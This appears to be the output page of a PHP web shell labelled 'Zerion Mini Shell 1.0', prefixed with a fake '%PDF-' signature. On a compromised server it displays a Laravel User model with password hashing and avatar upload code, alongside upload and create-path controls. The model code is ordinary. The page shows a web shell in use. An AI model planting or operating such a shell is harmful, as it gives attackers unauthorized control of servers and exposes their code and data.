%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/o91-api/app/Models/
Upload File :
Create Path :
Current File : /var/www/html/o91-api/app/Models/User.php

<?php

namespace App\Models;

use Carbon\Carbon;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
use Laravel\Passport\HasApiTokens;
use Spatie\MediaLibrary\Exceptions\FileCannotBeAdded;
use Spatie\MediaLibrary\Exceptions\FileCannotBeAdded\InvalidBase64Data;
use Spatie\MediaLibrary\HasMedia\HasMedia;
use Spatie\MediaLibrary\HasMedia\HasMediaTrait;
use Spatie\Permission\Traits\HasRoles;

/**
 * @property integer id
 * @property string  name
 * @property string  surname
 * @property string  email
 * @property string  password
 * @property boolean is_confirmed
 * @property boolean is_enabled
 * @property mixed   created_at
 * @property mixed   updated_at
 */
class User extends Authenticatable implements HasMedia
{
    use HasApiTokens, Notifiable, HasRoles, HasMediaTrait;
    const AVATAR      = 'avatars';
    const AVATAR_DISK = 'avatars';

    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = [
        'name',
        'surname',
        'password',
        'email',
        'is_confirmed',
        'is_enabled',
    ];

    protected $guarded = [
        'role_id',
    ];

    protected $guard_name = 'api';

    /**
     * The attributes that should be hidden for arrays.
     *
     * @var array
     */
    protected $hidden = [
        'password',
        'remember_token',
    ];

    protected $casts = [
        'id'           => 'integer',
        'name'         => 'string',
        'surname'      => 'string',
        'email'        => 'string',
        'is_confirmed' => 'boolean',
        'is_enabled'   => 'boolean',

    ];

    public function setPasswordAttribute($value)
    {
        $this->attributes['password'] = bcrypt($value);
    }

    public function getCreatedAtAttribute($value)
    {
        return Carbon::parse($value)
                     ->toIso8601String();
    }

    public function getUpdatedAtAttribute($value)
    {
        return Carbon::parse($value)
                     ->toIso8601String();
    }

    public function confirm()
    {
        $this->is_confirmed = true;
        $this->save();
        return $this;
    }

    public function enable()
    {
        $this->is_enabled = true;
        $this->save();
        return $this;
    }

    public function disable()
    {
        $this->is_enabled = false;
        $this->save();
        return $this;
    }

    public function updatePassword($password)
    {
        $this->password = $password;
        $this->save();
        return $this;
    }

    public function registerMediaCollections()
    {
        $this->addMediaCollection(self::AVATAR)
             ->useDisk(self::AVATAR_DISK);
    }

    /**
     * @param $baseImage
     *
     * @return User
     * @throws FileCannotBeAdded
     * @throws InvalidBase64Data
     */
    public function uploadImage($baseImage)
    {
        $name = md5(time());
        try {
            if ($media = $this->getMedia(self::AVATAR)
                              ->first()) {
                $media->delete();
            }
            $this->addMediaFromBase64($baseImage)
                 ->usingName($name)
                 ->usingFileName("$name.jpg")
                 ->toMediaCollection(self::AVATAR);
            return $this;
        } catch (InvalidBase64Data $e) {
            throw $e;
        } catch (FileCannotBeAdded $e) {
            throw $e;
        }
    }

    public function getAvatar()
    {
        $media = $this->getMedia(self::AVATAR)
                      ->first();
        if ($media) {
            return asset($media->getUrl());
        }
        return asset('svg/user.png');
    }

}



Zerion Mini Shell 1.0